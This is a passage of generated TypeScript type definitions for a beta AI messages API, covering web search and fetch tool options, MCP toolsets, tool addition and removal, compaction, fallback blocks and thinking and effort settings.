* @example Asia/Tokyo + * @example Europe/London + */ + timezone?: string | null + type: 'approximate' +} + +export type BetaWebSearchTool20250305 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description If provided, only these domains will be included in results. Cannot be used alongside `blocked_domains`. + */ + allowed_domains?: string[] | null + /** + * @description If provided, these domains will never appear in results. Cannot be used alongside `allowed_domains`. + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_search' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_search_20250305' + /** + * @description Parameters for the user's location. Used to provide more relevant search results. + */ + user_location?: BetaUserLocation | null +} + +/** + * @description The ``url_sources`` variant under which a source contributes in + * full: every result of the tool filter's source, or all user input. + * @type object + */ +export type BetaWebFetchUrlSourceAll = { + type: 'all' +} + +/** + * @description The ``url_sources`` variant under which a source contributes nothing: + * no result of the tool filter's source, or no user input. + * @type object + */ +export type BetaWebFetchUrlSourceNone = { + type: 'none' +} + +/** + * @description One entry of a tool filter's ``tools``: it must name a tool declared + * in this request's ``tools[]``. + * @type object + */ +export type BetaWebFetchUrlSourceToolReference = { + name: string + type: 'tool_reference' +} + +/** + * @description The tool filter variant under which only the named tools' results + * contribute. + * @type object + */ +export type BetaWebFetchUrlSourceOnly = { + tools: BetaWebFetchUrlSourceToolReference[] + type: 'only' +} + +/** + * @description The tool filter variant under which every result but the named + * tools' contributes. + * @type object + */ +export type BetaWebFetchUrlSourceExcept = { + tools: BetaWebFetchUrlSourceToolReference[] + type: 'except' +} + +/** + * @description Which sources contribute to the set of URLs web fetch may fetch. + * + * Each key is a tagged variant: ``user_input`` is ``all`` or ``none``; the + * two tool filters are ``all``, ``none``, ``only`` (only the named tools' + * results) or ``except`` (every result but the named tools'). A named tool + * must be declared in this request's ``tools[]``. + * @type object + */ +export type BetaWebFetchUrlSources = { + /** + * @description Which client tools' results contribute fetchable URLs: "all", "none", or an only or except list of client tool names from tools[]. + */ + client_tool_results?: + | (BetaWebFetchUrlSourceAll & { + type: 'all' + }) + | (BetaWebFetchUrlSourceNone & { + type: 'none' + }) + | (BetaWebFetchUrlSourceOnly & { + type: 'only' + }) + | (BetaWebFetchUrlSourceExcept & { + type: 'except' + }) + /** + * @description Which server tools' results contribute fetchable URLs: "all", "none", or an only or except list of server tool names from tools[]; only web_search and web_fetch results ever contribute. + */ + server_tool_results?: + | (BetaWebFetchUrlSourceAll & { + type: 'all' + }) + | (BetaWebFetchUrlSourceNone & { + type: 'none' + }) + | (BetaWebFetchUrlSourceOnly & { + type: 'only' + }) + | (BetaWebFetchUrlSourceExcept & { + type: 'except' + }) + /** + * @description Whether URLs in user messages are fetchable: "all" or "none". + */ + user_input?: + | (BetaWebFetchUrlSourceAll & { + type: 'all' + }) + | (BetaWebFetchUrlSourceNone & { + type: 'none' + }) +} + +export type BetaWebFetchTool20250910 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description List of domains to allow fetching from + */ + allowed_domains?: string[] | null + /** + * @description List of domains to block fetching from + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Citations configuration for fetched documents. Citations are disabled by default. + */ + citations?: BetaRequestCitationsConfig | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of tokens used by including web page text content in the context. The limit is approximate and does not apply to binary content such as PDFs. + */ + max_content_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_fetch' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_fetch_20250910' + /** + * @description Which sources contribute to the set of URLs the tool may fetch. Omitted means every source. + */ + url_sources?: BetaWebFetchUrlSources | null +} + +export type BetaWebSearchTool20260209 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description If provided, only these domains will be included in results. Cannot be used alongside `blocked_domains`. + */ + allowed_domains?: string[] | null + /** + * @description If provided, these domains will never appear in results. Cannot be used alongside `allowed_domains`. + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_search' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_search_20260209' + /** + * @description Parameters for the user's location. Used to provide more relevant search results. + */ + user_location?: BetaUserLocation | null +} + +export type BetaWebFetchTool20260209 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description List of domains to allow fetching from + */ + allowed_domains?: string[] | null + /** + * @description List of domains to block fetching from + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Citations configuration for fetched documents. Citations are disabled by default. + */ + citations?: BetaRequestCitationsConfig | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of tokens used by including web page text content in the context. The limit is approximate and does not apply to binary content such as PDFs. + */ + max_content_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_fetch' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_fetch_20260209' + /** + * @description Which sources contribute to the set of URLs the tool may fetch. Omitted means every source. + */ + url_sources?: BetaWebFetchUrlSources | null +} + +/** + * @description Web fetch tool with use_cache parameter for bypassing cached content. + * @type object + */ +export type BetaWebFetchTool20260309 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description List of domains to allow fetching from + */ + allowed_domains?: string[] | null + /** + * @description List of domains to block fetching from + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Citations configuration for fetched documents. Citations are disabled by default. + */ + citations?: BetaRequestCitationsConfig | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of tokens used by including web page text content in the context. The limit is approximate and does not apply to binary content such as PDFs. + */ + max_content_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_fetch' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_fetch_20260309' + /** + * @description Which sources contribute to the set of URLs the tool may fetch. Omitted means every source. + */ + url_sources?: BetaWebFetchUrlSources | null + /** + * @description Whether to use cached content. Set to false to bypass the cache and fetch fresh content. Only set to false when the user explicitly requests fresh content or when fetching rapidly-changing sources. + * @type boolean | undefined + */ + use_cache?: boolean +} + +export const betaWebSearchTool20260318ResponseInclusionEnum = { + full: 'full', + excluded: 'excluded', +} as const + +export type BetaWebSearchTool20260318ResponseInclusionEnumKey = + (typeof betaWebSearchTool20260318ResponseInclusionEnum)[keyof typeof betaWebSearchTool20260318ResponseInclusionEnum] + +export type BetaWebSearchTool20260318 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description If provided, only these domains will be included in results. Cannot be used alongside `blocked_domains`. + */ + allowed_domains?: string[] | null + /** + * @description If provided, these domains will never appear in results. Cannot be used alongside `allowed_domains`. + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_search' + /** + * @description How this tool's result blocks appear in the API response when the result was consumed by a completed code_execution call in the same turn. 'full' returns the complete content (default). 'excluded' drops the nested server_tool_use and result block pair entirely. Results from direct calls, or from code_execution calls that paused before completing, are always returned in full so they can be sent back on the next turn. + * @type string | undefined + */ + response_inclusion?: BetaWebSearchTool20260318ResponseInclusionEnumKey + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_search_20260318' + /** + * @description Parameters for the user's location. Used to provide more relevant search results. + */ + user_location?: BetaUserLocation | null +} + +export const betaWebFetchTool20260318ResponseInclusionEnum = { + full: 'full', + excluded: 'excluded', +} as const + +export type BetaWebFetchTool20260318ResponseInclusionEnumKey = + (typeof betaWebFetchTool20260318ResponseInclusionEnum)[keyof typeof betaWebFetchTool20260318ResponseInclusionEnum] + +export type BetaWebFetchTool20260318 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description List of domains to allow fetching from + */ + allowed_domains?: string[] | null + /** + * @description List of domains to block fetching from + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Citations configuration for fetched documents. Citations are disabled by default. + */ + citations?: BetaRequestCitationsConfig | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of tokens used by including web page text content in the context. The limit is approximate and does not apply to binary content such as PDFs. + */ + max_content_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_fetch' + /** + * @description How this tool's result blocks appear in the API response when the result was consumed by a completed code_execution call in the same turn. 'full' returns the complete content (default). 'excluded' drops the nested server_tool_use and result block pair entirely. Results from direct calls, or from code_execution calls that paused before completing, are always returned in full so they can be sent back on the next turn. + * @type string | undefined + */ + response_inclusion?: BetaWebFetchTool20260318ResponseInclusionEnumKey + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_fetch_20260318' + /** + * @description Which sources contribute to the set of URLs the tool may fetch. Omitted means every source. + */ + url_sources?: BetaWebFetchUrlSources | null + /** + * @description Whether to use cached content. Set to false to bypass the cache and fetch fresh content. Only set to false when the user explicitly requests fresh content or when fetching rapidly-changing sources. + * @type boolean | undefined + */ + use_cache?: boolean +} + +export const betaToolSearchToolBM2520251119TypeEnum = { + tool_search_tool_bm25_20251119: 'tool_search_tool_bm25_20251119', + tool_search_tool_bm25: 'tool_search_tool_bm25', +} as const + +export type BetaToolSearchToolBM2520251119TypeEnumKey = + (typeof betaToolSearchToolBM2520251119TypeEnum)[keyof typeof betaToolSearchToolBM2520251119TypeEnum] + +export type BetaToolSearchToolBM2520251119 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'tool_search_tool_bm25' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: BetaToolSearchToolBM2520251119TypeEnumKey +} + +export const betaToolSearchToolRegex20251119TypeEnum = { + tool_search_tool_regex_20251119: 'tool_search_tool_regex_20251119', + tool_search_tool_regex: 'tool_search_tool_regex', +} as const + +export type BetaToolSearchToolRegex20251119TypeEnumKey = + (typeof betaToolSearchToolRegex20251119TypeEnum)[keyof typeof betaToolSearchToolRegex20251119TypeEnum] + +export type BetaToolSearchToolRegex20251119 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'tool_search_tool_regex' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: BetaToolSearchToolRegex20251119TypeEnumKey +} + +/** + * @description Configuration for a specific tool in an MCP toolset. + * @type object + */ +export type BetaMCPToolConfig = { + defer_loading?: boolean + enabled?: boolean +} + +/** + * @description Default configuration for tools in an MCP toolset. + * @type object + */ +export type BetaMCPToolDefaultConfig = { + defer_loading?: boolean + enabled?: boolean +} + +/** + * @description A tool as an MCP server lists it: its name on that server, its + * description, and its input schema. + * @type object + */ +export type BetaMCPTool = { + /** + * @description The tool's description as the MCP server lists it. + */ + description?: string | null + /** + * @description The tool's input schema as the MCP server lists it, verbatim. + * @type object + */ + input_schema: { + [key: string]: BetaJsonValue + } + /** + * @description The tool's name as the MCP server lists it (not prefixed with the server name). + * @minLength 1 + * @type string + */ + name: string +} + +/** + * @description Configuration for a group of tools from an MCP server. + * + * Allows configuring enabled status and defer_loading for all tools + * from an MCP server, with optional per-tool overrides. + * @type object + */ +export type BetaMCPToolset = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Configuration overrides for specific tools, keyed by tool name + */ + configs?: { + [key: string]: BetaMCPToolConfig + } | null + /** + * @description Default configuration applied to all tools from this server + * @type object | undefined + */ + default_config?: BetaMCPToolDefaultConfig + /** + * @description Name of the MCP server to configure tools for + * @minLength 1 + * @maxLength 255 + * @type string + */ + mcp_server_name: string + /** + * @description The server's tool listing, pinned: when present, the server is not asked for its tools before sampling and exactly these entries, with `default_config` and `configs` applied, are the toolset's tools. Copy it from the `mcp_tool_listing` block of an earlier response. + */ + tools?: BetaMCPTool[] | null + type: 'mcp_toolset' +} + +export type BetaToolUnion = + | BetaTool + | BetaBashTool20241022 + | BetaBashTool20250124 + | BetaCodeExecutionTool20250522 + | BetaCodeExecutionTool20250825 + | BetaCodeExecutionTool20260120 + | BetaCodeExecutionTool20260521 + | BetaBrowserToolset20260801 + | BetaComputerUseTool20241022 + | BetaMemoryTool20250818 + | BetaComputerUseTool20250124 + | BetaTextEditor20241022 + | BetaComputerUseTool20251124 + | BetaComputerToolset20260801 + | BetaTextEditor20250124 + | BetaTextEditor20250429 + | BetaTextEditor20250728 + | BetaWebSearchTool20250305 + | BetaWebFetchTool20250910 + | BetaWebSearchTool20260209 + | BetaWebFetchTool20260209 + | BetaWebFetchTool20260309 + | BetaWebSearchTool20260318 + | BetaWebFetchTool20260318 + | BetaAdvisorTool20260301 + | BetaToolSearchToolBM2520251119 + | BetaToolSearchToolRegex20251119 + | BetaMCPToolset + +/** + * @description A tool defined by value: `definition` is a `tools` entry (any kind + * `tools` accepts, an MCP toolset included). An `mcp_toolset` given here + * also requires the `mcp-client-2026-09-15` beta. + * @type object + */ +export type BetaToolChangeToolDefinition = { + definition: BetaToolUnion + type: 'tool_definition' +} + +/** + * @description Mid-conversation directive to make a tool available. + * + * ``tool`` is a reference to a tool (or MCP toolset) declared in the + * request's ``tools``. Under the ``inline-tools-2026-09-15`` beta it may + * instead be a reference to a tool defined earlier in ``messages``, or a + * ``tool_definition`` object that carries an inline tool definition in + * ``definition`` (the same object a ``tools`` entry holds). An ``mcp_toolset`` + * definition also requires the ``mcp-client-2026-09-15`` beta. The tool is + * offered to the model from this point in the conversation onward. + * @type object + */ +export type BetaRequestToolAdditionBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + tool: + | (BetaToolChangeToolReference & { + type: 'tool_reference' + }) + | (BetaToolChangeMCPToolReference & { + type: 'mcp_tool_reference' + }) + | (BetaToolChangeMCPToolsetReference & { + type: 'mcp_toolset_reference' + }) + | (BetaToolChangeToolDefinition & { + type: 'tool_definition' + }) + type: 'tool_addition' +} + +/** + * @description Mid-conversation directive to withdraw a tool. + * + * ``tool`` references a tool (or MCP toolset) by name: one declared in the + * request's ``tools`` or defined earlier in ``messages``. It is no longer + * offered to the model from this point in the conversation onward. + * @type object + */ +export type BetaRequestToolRemovalBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + tool: + | (BetaToolChangeToolReference & { + type: 'tool_reference' + }) + | (BetaToolChangeMCPToolReference & { + type: 'mcp_tool_reference' + }) + | (BetaToolChangeMCPToolsetReference & { + type: 'mcp_toolset_reference' + }) + type: 'tool_removal' +} + +/** + * @description A compaction block containing summary of previous context. + * + * Users should round-trip these blocks from responses to subsequent requests + * to maintain context across compaction boundaries. + * + * When content is None, the block represents a failed compaction. The server + * treats these as no-ops. Empty string content is not allowed. + * @type object + */ +export type BetaRequestCompactionBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Summary of previously compacted content, or null if compaction failed + */ + content?: string | null + /** + * @description Opaque metadata from prior compaction, to be round-tripped verbatim + */ + encrypted_content?: string | null + /** + * @description The block's signature as returned, to be sent back verbatim + */ + signature?: string | null + /** + * @description The tool changes of the compacted range, as the server returned them on this block: the `tool_addition` and `tool_removal` entries that take the request's `tools` to the tool set in effect at the end of the range. Send them back unchanged with the block. + */ + tool_changes?: + | ( + | (BetaRequestToolAdditionBlock & { + type: 'tool_addition' + }) + | (BetaRequestToolRemovalBlock & { + type: 'tool_removal' + }) + )[] + | null + type: 'compaction' +} + +/** + * @description The tool listing an MCP server returned while an earlier response was + * produced, as that response carried it. Send the assistant message back + * unchanged, this block included, and the server uses this listing for the + * matching `mcp_toolset` instead of asking the MCP server again. + * @type object + */ +export type BetaRequestMCPToolListingBlock = { + /** + * @description The name of the MCP server this listing came from, as `mcp_servers` declares it. + * @minLength 1 + * @maxLength 255 + * @type string + */ + mcp_server_name: string + /** + * @description The server's tools, exactly as the response listed them. + * @type array + */ + tools: BetaMCPTool[] + type: 'mcp_tool_listing' +} + +/** + * @description Identifies one hop of a fallback transition. + * @type object + */ +export type BetaRequestFallbackHopInfo = { + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model +} + +/** + * @description A `fallback` block echoed back from a prior response. + * + * Accepted in `messages[].content` and not rendered into the prompt; not + * validated against the request's `fallbacks` chain or top-level `model`. + * + * When you send the assistant turn back, keep this block in its + * original position. The block marks the boundary between content produced + * before and after a fallback hop, and the server relies on that boundary + * to validate the turn: when thinking runs flank the boundary, omitting + * the block merges them into one span the server cannot validate (the + * request is rejected), and moving it into the middle of a single run is + * likewise rejected; between non-thinking blocks the block's placement has + * no effect on thinking validation. + * + * Some blocks from before the turn's final `fallback` block must be left + * out when you send the turn back, and no `tool_result` is sent for a + * `tool_use` block you left out. + * + * See the [refusals and fallback guide](https://platform.claude.com/docs/en/build-with-claude/refusals-and-fallback#continuing-the-conversation) to learn which blocks to keep. + * @type object + */ +export type BetaRequestFallbackBlock = { + /** + * @description Identifies one hop of a fallback transition. + * @type object + */ + from: BetaRequestFallbackHopInfo + /** + * @description Identifies one hop of a fallback transition. + * @type object + */ + to: BetaRequestFallbackHopInfo + /** + * @description The response block's `trigger`, echoed verbatim. Accepted and ignored by the server; any object or `null` is allowed. + * @type unknown | undefined + */ + trigger?: unknown + type: 'fallback' +} + +export type BetaInputContentBlock = + | (BetaRequestTextBlock & { + type: 'text' + }) + | (BetaRequestImageBlock & { + type: 'image' + }) + | (BetaRequestDocumentBlock & { + type: 'document' + }) + | (BetaRequestSearchResultBlock & { + type: 'search_result' + }) + | (BetaRequestThinkingBlock & { + type: 'thinking' + }) + | (BetaRequestRedactedThinkingBlock & { + type: 'redacted_thinking' + }) + | (BetaRequestToolUseBlock & { + type: 'tool_use' + }) + | (BetaRequestToolResultBlock & { + type: 'tool_result' + }) + | (BetaRequestServerToolUseBlock & { + type: 'server_tool_use' + }) + | (BetaRequestWebSearchToolResultBlock & { + type: 'web_search_tool_result' + }) + | (BetaRequestWebFetchToolResultBlock & { + type: 'web_fetch_tool_result' + }) + | (BetaRequestAdvisorToolResultBlock & { + type: 'advisor_tool_result' + }) + | (BetaRequestCodeExecutionToolResultBlock & { + type: 'code_execution_tool_result' + }) + | (BetaRequestBashCodeExecutionToolResultBlock & { + type: 'bash_code_execution_tool_result' + }) + | (BetaRequestTextEditorCodeExecutionToolResultBlock & { + type: 'text_editor_code_execution_tool_result' + }) + | (BetaRequestToolSearchToolResultBlock & { + type: 'tool_search_tool_result' + }) + | (BetaRequestMCPToolUseBlock & { + type: 'mcp_tool_use' + }) + | (BetaRequestMCPToolResultBlock & { + type: 'mcp_tool_result' + }) + | (BetaRequestContainerUploadBlock & { + type: 'container_upload' + }) + | (BetaRequestCompactionBlock & { + type: 'compaction' + }) + | (BetaRequestToolAdditionBlock & { + type: 'tool_addition' + }) + | (BetaRequestToolRemovalBlock & { + type: 'tool_removal' + }) + | (BetaRequestMCPToolListingBlock & { + type: 'mcp_tool_listing' + }) + | (BetaRequestFallbackBlock & { + type: 'fallback' + }) + +export type BetaInputMessageContent = string | BetaInputContentBlock[] + +export type BetaAssistantInputMessage = { + content: BetaInputMessageContent + role: 'assistant' +} + +export type BetaThinkingTurns = { + type: 'thinking_turns' + /** + * @minimum 1 + * @type integer + */ + value: number +} + +export type BetaClearThinking20251015 = { + /** + * @description Number of most recent assistant turns to keep thinking blocks for. Older turns will have their thinking blocks removed. + */ + keep?: (BetaThinkingTurns | BetaAllThinkingTurns) | 'all' + type: 'clear_thinking_20251015' +} + +export type BetaInputTokensClearAtLeast = { + type: 'input_tokens' + /** + * @minimum 0 + * @type integer + */ + value: number +} + +export type BetaToolUsesKeep = { + type: 'tool_uses' + /** + * @minimum 0 + * @type integer + */ + value: number +} + +export type BetaInputTokensTrigger = { + type: 'input_tokens' + /** + * @minimum 1 + * @type integer + */ + value: number +} + +export type BetaToolUsesTrigger = { + type: 'tool_uses' + /** + * @minimum 1 + * @type integer + */ + value: number +} + +export type BetaClearToolUses20250919 = { + /** + * @description Minimum number of tokens that must be cleared when triggered. Context will only be modified if at least this many tokens can be removed. + */ + clear_at_least?: BetaInputTokensClearAtLeast | null + /** + * @description Whether to clear all tool inputs (bool) or specific tool inputs to clear (list) + */ + clear_tool_inputs?: boolean | string[] | null + /** + * @description Tool names whose uses are preserved from clearing + */ + exclude_tools?: string[] | null + /** + * @description Number of tool uses to retain in the conversation + */ + keep?: BetaToolUsesKeep & { + type: 'tool_uses' + } + /** + * @description Condition that triggers the context management strategy + */ + trigger?: + | (BetaInputTokensTrigger & { + type: 'input_tokens' + }) + | (BetaToolUsesTrigger & { + type: 'tool_uses' + }) + type: 'clear_tool_uses_20250919' +} + +/** + * @description Automatically compact older context when reaching the configured trigger threshold. + * @type object + */ +export type BetaCompact20260112 = { + /** + * @description Additional instructions for summarization. + */ + instructions?: string | null + /** + * @description Whether to pause after compaction and return the compaction block to the user. + * @type boolean | undefined + */ + pause_after_compaction?: boolean + /** + * @description When to trigger compaction. Defaults to 150000 input tokens. + */ + trigger?: BetaInputTokensTrigger | null + type: 'compact_20260112' +} + +/** + * @description Compact the whole conversation and return a signed `compaction` block, + * alone, that a later request sends back first in `messages`, in place of + * the messages it summarizes. There is no trigger and no pause flag: sending + * the parameter compacts, and nothing is sampled after the block. + * + * The summarization prompt is the server's own unless `instructions` are + * given, which then replace it for this request; a value that is empty or + * only whitespace counts as absent. + * @type object + */ +export type BetaSummarizeCompaction = { + /** + * @description Replaces the server's default summarization prompt for this request. An empty or whitespace-only value counts as absent. + */ + instructions?: string | null + type: 'summarize' +} + +export type BetaCompactionConfig = BetaSummarizeCompaction & { + type: 'summarize' +} + +export type BetaContextManagementConfig = { + /** + * @description List of context management edits to apply + * @type array | undefined + */ + edits?: ( + | (BetaClearToolUses20250919 & { + type: 'clear_tool_uses_20250919' + }) + | (BetaClearThinking20251015 & { + type: 'clear_thinking_20251015' + }) + | (BetaCompact20260112 & { + type: 'compact_20260112' + }) + )[] +} + +export const betaEffortLevel = { + low: 'low', + medium: 'medium', + high: 'high', + xhigh: 'xhigh', + max: 'max', +} as const + +export type BetaEffortLevelKey = + (typeof betaEffortLevel)[keyof typeof betaEffortLevel] + +export type BetaUserInputMessage = { + content: BetaInputMessageContent + role: 'user' +} + +/** + * @description Per-message output configuration on a role:"system" input message. + * + * Fields here apply per-turn; ``format`` remains top-level only. An + * empty ``{}`` is accepted on a message that carries content; a message + * with neither content nor output_config fields is rejected. + * @type object + */ +export type BetaSystemMessageOutputConfig = { + /** + * @description How much effort the model should put into its response. Higher effort levels may result in more thorough analysis but take longer. + * + * Valid values are `low`, `medium`, `high`, `xhigh`, or `max`. + */ + effort?: BetaEffortLevelKey | null +} + +export const betaSystemInputMessageClearAt = { + next_user_message: 'next_user_message', + never: 'never', +} as const + +export type BetaSystemInputMessageClearAtKey = + (typeof betaSystemInputMessageClearAt)[keyof typeof betaSystemInputMessageClearAt] + +export type BetaSystemInputMessage = { + /** + * @description How long this system message's text stays in front of the model. `"never"` (the default) renders it on every request that includes it. `"next_user_message"` renders it only for the user turn it follows: once a later `role: "user"` message exists in `messages` the message stays in the array (send it unchanged) but is no longer shown to the model. Only permitted on `role: "system"` messages. + */ + clear_at?: BetaSystemInputMessageClearAtKey | null + content?: + | string + | ( + | (BetaRequestTextBlock & { + type: 'text' + }) + | (BetaRequestToolAdditionBlock & { + type: 'tool_addition' + }) + | (BetaRequestToolRemovalBlock & { + type: 'tool_removal' + }) + )[] + output_config?: BetaSystemMessageOutputConfig | null + role: 'system' +} + +export type BetaInputMessageUnion = + | (BetaUserInputMessage & { + role: 'user' + }) + | (BetaAssistantInputMessage & { + role: 'assistant' + }) + | (BetaSystemInputMessage & { + role: 'system' + }) + +export type BetaJsonOutputFormat = { + /** + * @description The JSON schema of the format + * @type object + */ + schema: { + [key: string]: unknown + } + type: 'json_schema' +} + +/** + * @description User-configurable total token budget across contexts. + * @type object + */ +export type BetaTokenTaskBudget = { + /** + * @description Remaining tokens in the budget. Use this to track usage across contexts when implementing compaction client-side. Defaults to total if not provided. + */ + remaining?: number | null + /** + * @description Total token budget across all contexts in the session. + * @minimum 1024 + * @type integer + */ + total: number + /** + * @description The budget type. Currently only 'tokens' is supported. + * @type string + */ + type: 'tokens' +} + +export type BetaOutputConfig = { + /** + * @description How much effort the model should put into its response. Higher effort levels may result in more thorough analysis but take longer. + * + * Valid values are `low`, `medium`, `high`, `xhigh`, or `max`. + */ + effort?: BetaEffortLevelKey | null + /** + * @description A schema to specify Claude's output format in responses. See [structured outputs](https://platform.claude.com/docs/en/build-with-claude/structured-outputs) + */ + format?: BetaJsonOutputFormat | null + /** + * @description Configuration for token budget tracking across contexts. + */ + task_budget?: BetaTokenTaskBudget | null +} + +export type BetaRequestMCPServerToolConfiguration = { + allowed_tools?: string[] | null + enabled?: boolean | null +} + +export type BetaRequestMCPServerURLDefinition = { + authorization_token?: string | null + name: string + tool_configuration?: BetaRequestMCPServerToolConfiguration | null + type: 'url' + url: string +} + +export const betaSpeed = { + standard: 'standard', + fast: 'fast', +} as const + +export type BetaSpeedKey = (typeof betaSpeed)[keyof typeof betaSpeed] + +export const betaThinkingPrefixMismatchBehavior = { + error: 'error', + drop_block: 'drop_block', +} as const + +export type BetaThinkingPrefixMismatchBehaviorKey = + (typeof betaThinkingPrefixMismatchBehavior)[keyof typeof betaThinkingPrefixMismatchBehavior] + +/** + * @description Controls for block binding: what happens when a thinking block this + * request sends back fails the conversation check. Every field is optional; + * an empty object means every default. + * @type object + */ +export type BetaThinkingBlockBinding = { + /** + * @description "error" (default) | "drop_block". What happens when a thinking block in `messages` fails the conversation check (it was created in a different conversation, or the messages before it have changed since). "error" fails the request with a 400 error. "drop_block" removes the failing blocks and the request proceeds; each removal is reported in `input_transformations`. + */ + prefix_mismatch_behavior?: BetaThinkingPrefixMismatchBehaviorKey | null +} + +export const betaThinkingDisplayMode = { + summarized: 'summarized', + omitted: 'omitted', + updates: 'updates', +} as const + +export type BetaThinkingDisplayModeKey = + (typeof betaThinkingDisplayMode)[keyof typeof betaThinkingDisplayMode] + +export type BetaThinkingConfigAdaptive = { + /** + * @description Controls for block 